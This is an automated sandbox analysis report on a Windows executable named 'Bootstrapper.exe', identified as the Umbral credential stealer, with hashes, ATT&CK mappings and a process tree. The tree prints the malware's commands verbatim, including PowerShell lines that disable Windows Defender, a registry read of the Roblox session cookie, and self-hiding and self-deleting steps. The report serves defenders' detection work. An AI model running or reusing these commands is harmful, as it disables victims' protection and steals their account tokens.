umbral | ca96eb38942e5c7f637142d52b2e8bcac496a4520b73dab10ae1ad313d79cbd3

Analysis

max time kernel
121s
max time network
122s
platform
windows7_x64
resource
win7-20240708-en
resource tags

arch:x64arch:x86image:win7-20240708-enlocale:en-usos:windows7-x64system
submitted
25-07-2024 22:32

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General

Target

Bootstrapper.exe
Size

231KB
MD5

76da32bccf3ded8acf92d025e19324e0
SHA1

3a9d9c6c68ec7ebfdc015b276bbc4d4e59f50a69
SHA256

1974381d4a09db47060411d723079fffc960ab922b54b20323d80a1dfeefe60b
SHA512

4f93c06348defd7f11c1db76ae0353ce73a0c743809f9efb675ca2caa0285ccbe21aedbe119f0f508ea8bcd8a62c5ad9f21536f6349c504f39d9648928c27bf9
SSDEEP

6144:xloZM+rIkd8g+EtXHkv/iD4DakxPlO2Zsc1niinRVb8e1mhi:DoZtL+EP8DakxPlO2Zsc1niin7T

Score

10^/10

umbral credential_access discovery execution spyware stealer

Malware Config

Signatures

Detect Umbral payload 1 IoCs

resource	yara_rule
behavioral1/memory/2668-1-0x0000000000830000-0x0000000000870000-memory.dmp	family_umbral

Umbral
Umbral stealer is an opensource moduler stealer written in C#.
stealer umbral
Credentials from Password Stores: Credentials from Web Browsers 1 TTPs
Malicious Access or copy of Web Browser Credential store.
credential_access stealer

Credentials from Web Browsers
T1555.003

Command and Scripting Interpreter: PowerShell 1 TTPs 4 IoCs

Run Powershell to modify Windows Defender settings to add exclusions for file extensions, paths, and processes.

execution

PowerShell

T1059.001

pid	Process
2528	powershell.exe
2544	powershell.exe
2828	powershell.exe
3028	powershell.exe

Drops file in Drivers directory 1 IoCs

description	ioc	Process
File opened for modification	C:\Windows\System32\drivers\etc\hosts	Bootstrapper.exe

Deletes itself 1 IoCs

pid	Process
1080	cmd.exe

Reads user/profile data of web browsers 2 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
spyware stealer

Data from Local System
T1005

Credentials In Files
T1552.001

Legitimate hosting services abused for malware hosting/C2 1 TTPs 2 IoCs

Web Service

T1102

flow	ioc
7	discord.com
8	discord.com

Looks up external IP address via web service 1 IoCs

Uses a legitimate IP lookup service to find the infected system's external IP.

flow	ioc
4	ip-api.com

System Network Configuration Discovery: Internet Connection Discovery 1 TTPs 2 IoCs

Adversaries may check for Internet connectivity on compromised systems.

discovery

Internet Connection Discovery

T1016.001

pid	Process
1080	cmd.exe
444	PING.EXE

Detects videocard installed 1 TTPs 1 IoCs

Uses WMIC.exe to determine videocard installed.

System Information Discovery

T1082

pid	Process
2240	wmic.exe

Runs ping.exe 1 TTPs 1 IoCs

Remote System Discovery

T1018

pid	Process
444	PING.EXE

Suspicious behavior: EnumeratesProcesses 6 IoCs

pid	Process
2668	Bootstrapper.exe
2528	powershell.exe
2544	powershell.exe
2828	powershell.exe
1740	powershell.exe
3028	powershell.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeDebugPrivilege	2668	Bootstrapper.exe
Token: SeIncreaseQuotaPrivilege	2212	wmic.exe
Token: SeSecurityPrivilege	2212	wmic.exe
Token: SeTakeOwnershipPrivilege	2212	wmic.exe
Token: SeLoadDriverPrivilege	2212	wmic.exe
Token: SeSystemProfilePrivilege	2212	wmic.exe
Token: SeSystemtimePrivilege	2212	wmic.exe
Token: SeProfSingleProcessPrivilege	2212	wmic.exe
Token: SeIncBasePriorityPrivilege	2212	wmic.exe
Token: SeCreatePagefilePrivilege	2212	wmic.exe
Token: SeBackupPrivilege	2212	wmic.exe
Token: SeRestorePrivilege	2212	wmic.exe
Token: SeShutdownPrivilege	2212	wmic.exe
Token: SeDebugPrivilege	2212	wmic.exe
Token: SeSystemEnvironmentPrivilege	2212	wmic.exe
Token: SeRemoteShutdownPrivilege	2212	wmic.exe
Token: SeUndockPrivilege	2212	wmic.exe
Token: SeManageVolumePrivilege	2212	wmic.exe
Token: 33	2212	wmic.exe
Token: 34	2212	wmic.exe
Token: 35	2212	wmic.exe
Token: SeIncreaseQuotaPrivilege	2212	wmic.exe
Token: SeSecurityPrivilege	2212	wmic.exe
Token: SeTakeOwnershipPrivilege	2212	wmic.exe
Token: SeLoadDriverPrivilege	2212	wmic.exe
Token: SeSystemProfilePrivilege	2212	wmic.exe
Token: SeSystemtimePrivilege	2212	wmic.exe
Token: SeProfSingleProcessPrivilege	2212	wmic.exe
Token: SeIncBasePriorityPrivilege	2212	wmic.exe
Token: SeCreatePagefilePrivilege	2212	wmic.exe
Token: SeBackupPrivilege	2212	wmic.exe
Token: SeRestorePrivilege	2212	wmic.exe
Token: SeShutdownPrivilege	2212	wmic.exe
Token: SeDebugPrivilege	2212	wmic.exe
Token: SeSystemEnvironmentPrivilege	2212	wmic.exe
Token: SeRemoteShutdownPrivilege	2212	wmic.exe
Token: SeUndockPrivilege	2212	wmic.exe
Token: SeManageVolumePrivilege	2212	wmic.exe
Token: 33	2212	wmic.exe
Token: 34	2212	wmic.exe
Token: 35	2212	wmic.exe
Token: SeDebugPrivilege	2528	powershell.exe
Token: SeDebugPrivilege	2544	powershell.exe
Token: SeDebugPrivilege	2828	powershell.exe
Token: SeDebugPrivilege	1740	powershell.exe
Token: SeIncreaseQuotaPrivilege	1148	wmic.exe
Token: SeSecurityPrivilege	1148	wmic.exe
Token: SeTakeOwnershipPrivilege	1148	wmic.exe
Token: SeLoadDriverPrivilege	1148	wmic.exe
Token: SeSystemProfilePrivilege	1148	wmic.exe
Token: SeSystemtimePrivilege	1148	wmic.exe
Token: SeProfSingleProcessPrivilege	1148	wmic.exe
Token: SeIncBasePriorityPrivilege	1148	wmic.exe
Token: SeCreatePagefilePrivilege	1148	wmic.exe
Token: SeBackupPrivilege	1148	wmic.exe
Token: SeRestorePrivilege	1148	wmic.exe
Token: SeShutdownPrivilege	1148	wmic.exe
Token: SeDebugPrivilege	1148	wmic.exe
Token: SeSystemEnvironmentPrivilege	1148	wmic.exe
Token: SeRemoteShutdownPrivilege	1148	wmic.exe
Token: SeUndockPrivilege	1148	wmic.exe
Token: SeManageVolumePrivilege	1148	wmic.exe
Token: 33	1148	wmic.exe
Token: 34	1148	wmic.exe

Suspicious use of WriteProcessMemory 39 IoCs

description	pid	Process	procid_target
PID 2668 wrote to memory of 2212	2668	Bootstrapper.exe	31
PID 2668 wrote to memory of 2212	2668	Bootstrapper.exe	31
PID 2668 wrote to memory of 2212	2668	Bootstrapper.exe	31
PID 2668 wrote to memory of 2576	2668	Bootstrapper.exe	34
PID 2668 wrote to memory of 2576	2668	Bootstrapper.exe	34
PID 2668 wrote to memory of 2576	2668	Bootstrapper.exe	34
PID 2668 wrote to memory of 2528	2668	Bootstrapper.exe	36
PID 2668 wrote to memory of 2528	2668	Bootstrapper.exe	36
PID 2668 wrote to memory of 2528	2668	Bootstrapper.exe	36
PID 2668 wrote to memory of 2544	2668	Bootstrapper.exe	38
PID 2668 wrote to memory of 2544	2668	Bootstrapper.exe	38
PID 2668 wrote to memory of 2544	2668	Bootstrapper.exe	38
PID 2668 wrote to memory of 2828	2668	Bootstrapper.exe	40
PID 2668 wrote to memory of 2828	2668	Bootstrapper.exe	40
PID 2668 wrote to memory of 2828	2668	Bootstrapper.exe	40
PID 2668 wrote to memory of 1740	2668	Bootstrapper.exe	42
PID 2668 wrote to memory of 1740	2668	Bootstrapper.exe	42
PID 2668 wrote to memory of 1740	2668	Bootstrapper.exe	42
PID 2668 wrote to memory of 1148	2668	Bootstrapper.exe	44
PID 2668 wrote to memory of 1148	2668	Bootstrapper.exe	44
PID 2668 wrote to memory of 1148	2668	Bootstrapper.exe	44
PID 2668 wrote to memory of 2448	2668	Bootstrapper.exe	46
PID 2668 wrote to memory of 2448	2668	Bootstrapper.exe	46
PID 2668 wrote to memory of 2448	2668	Bootstrapper.exe	46
PID 2668 wrote to memory of 780	2668	Bootstrapper.exe	48
PID 2668 wrote to memory of 780	2668	Bootstrapper.exe	48
PID 2668 wrote to memory of 780	2668	Bootstrapper.exe	48
PID 2668 wrote to memory of 3028	2668	Bootstrapper.exe	50
PID 2668 wrote to memory of 3028	2668	Bootstrapper.exe	50
PID 2668 wrote to memory of 3028	2668	Bootstrapper.exe	50
PID 2668 wrote to memory of 2240	2668	Bootstrapper.exe	52
PID 2668 wrote to memory of 2240	2668	Bootstrapper.exe	52
PID 2668 wrote to memory of 2240	2668	Bootstrapper.exe	52
PID 2668 wrote to memory of 1080	2668	Bootstrapper.exe	54
PID 2668 wrote to memory of 1080	2668	Bootstrapper.exe	54
PID 2668 wrote to memory of 1080	2668	Bootstrapper.exe	54
PID 1080 wrote to memory of 444	1080	cmd.exe	56
PID 1080 wrote to memory of 444	1080	cmd.exe	56
PID 1080 wrote to memory of 444	1080	cmd.exe	56

Views/modifies file attributes 1 TTPs 1 IoCs

evasion

Hidden Files and Directories

T1564.001

pid	Process
2576	attrib.exe

C:\Users\Admin\AppData\Local\Temp\Bootstrapper.exe
"C:\Users\Admin\AppData\Local\Temp\Bootstrapper.exe"
1⤵
- Drops file in Drivers directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:2668
- C:\Windows\System32\Wbem\wmic.exe
  "wmic.exe" csproduct get uuid
  2⤵
  - Suspicious use of AdjustPrivilegeToken
  PID:2212
- C:\Windows\system32\attrib.exe
  "attrib.exe" +h +s "C:\Users\Admin\AppData\Local\Temp\Bootstrapper.exe"
  2⤵
  - Views/modifies file attributes
  PID:2576
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell.exe" Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\Bootstrapper.exe'
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:2528
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell.exe" Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend && powershell Set-MpPreference -SubmitSamplesConsent 2
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:2544
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell.exe" Get-ItemPropertyValue -Path HKCU:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:2828
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell.exe" Get-ItemPropertyValue -Path HKLN:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:1740
- C:\Windows\System32\Wbem\wmic.exe
  "wmic.exe" os get Caption
  2⤵
  - Suspicious use of AdjustPrivilegeToken
  PID:1148
- C:\Windows\System32\Wbem\wmic.exe
  "wmic.exe" computersystem get totalphysicalmemory
  2⤵
  PID:2448
- C:\Windows\System32\Wbem\wmic.exe
  "wmic.exe" csproduct get uuid
  2⤵
  PID:780
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell.exe" Get-ItemPropertyValue -Path 'HKLM:System\CurrentControlSet\Control\Session Manager\Environment' -Name PROCESSOR_IDENTIFIER
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  PID:3028
- C:\Windows\System32\Wbem\wmic.exe
  "wmic" path win32_VideoController get name
  2⤵
  - Detects videocard installed
  PID:2240
- C:\Windows\system32\cmd.exe
  "cmd.exe" /c ping localhost && del /F /A h "C:\Users\Admin\AppData\Local\Temp\Bootstrapper.exe" && pause
  2⤵
  - Deletes itself
  - System Network Configuration Discovery: Internet Connection Discovery
  - Suspicious use of WriteProcessMemory
  PID:1080
- - C:\Windows\system32\PING.EXE
    ping localhost
    3⤵
    - System Network Configuration Discovery: Internet Connection Discovery
    - Runs ping.exe
    PID:444

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Hide Artifacts

T1564

Hidden Files and Directories

T1564.001

Credential Access

Credentials from Password Stores

T1555

Credentials from Web Browsers

T1555.003

Unsecured Credentials

T1552

Credentials In Files

T1552.001

Discovery

Remote System Discovery

T1018

System Information Discovery

T1082

System Network Configuration Discovery

T1016

Internet Connection Discovery

T1016.001

Lateral Movement

Collection

Data from Local System

T1005

Command and Control

Web Service

T1102

Exfiltration

Impact

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Downloads

C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\590aee7bdd69b59b.customDestinations-ms

Filesize
7KB

MD5
93a90242ca341e92f8733279db421a02

SHA1
ce361d9351d21ffea7b32414cf6f9e7833236d44

SHA256
4ec01ce04b521eac6c608df2ad32acf3e73a1cedca242054bec6b91b08b289d8

SHA512
ab56100a343870ae0228ff7cdaeadb6be53128f59279b502ac1864a3d550d54536d85bb2e45f97bc4056bd5387274a6e1cd93facddc7f712a8c70e3b23f85c12

Download Submit
memory/2528-7-0x000000001B700000-0x000000001B9E2000-memory.dmp

Filesize
2.9MB

Download
memory/2528-8-0x0000000002000000-0x0000000002008000-memory.dmp

Filesize
32KB

Download
memory/2544-14-0x000000001B6C0000-0x000000001B9A2000-memory.dmp

Filesize
2.9MB

Download
memory/2544-15-0x0000000002960000-0x0000000002968000-memory.dmp

Filesize
32KB

Download
memory/2668-0-0x000007FEF58B3000-0x000007FEF58B4000-memory.dmp

Filesize
4KB

Download
memory/2668-1-0x0000000000830000-0x0000000000870000-memory.dmp

Filesize
256KB

Download
memory/2668-2-0x000007FEF58B0000-0x000007FEF629C000-memory.dmp

Filesize
9.9MB

Download
memory/2668-46-0x000007FEF58B0000-0x000007FEF629C000-memory.dmp

Filesize
9.9MB

Download
memory/3028-42-0x0000000001E10000-0x0000000001E18000-memory.dmp

Filesize
32KB

Download